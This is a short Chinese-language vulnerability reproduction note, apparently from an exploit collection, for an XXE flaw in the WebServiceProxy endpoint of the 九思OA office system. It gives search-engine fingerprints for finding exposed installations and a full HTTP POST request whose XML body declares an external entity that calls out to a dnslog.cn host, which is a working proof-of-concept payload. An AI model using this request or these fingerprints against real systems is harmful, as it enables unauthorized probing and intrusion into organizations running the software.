九思OA WebServiceProxy存在xxe漏洞
一、漏洞简介
九思OA系统是安装、实施、学习、操作、维护的OA系统,由北京九思协同软件有限公司开发。九思OA WebServiceProxy存在xxe漏洞.
二、影响版本
- 九思OA
三、资产测绘
- hunter
web.body="/jsoa/webmail/ajax_util.js"
、app.name=="九思 OA"
- 特征
四、漏洞复现
POST /jsoa/WebServiceProxy HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Content-Length: 79
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://bsp6oo.dnslog.cn"> %remote;]>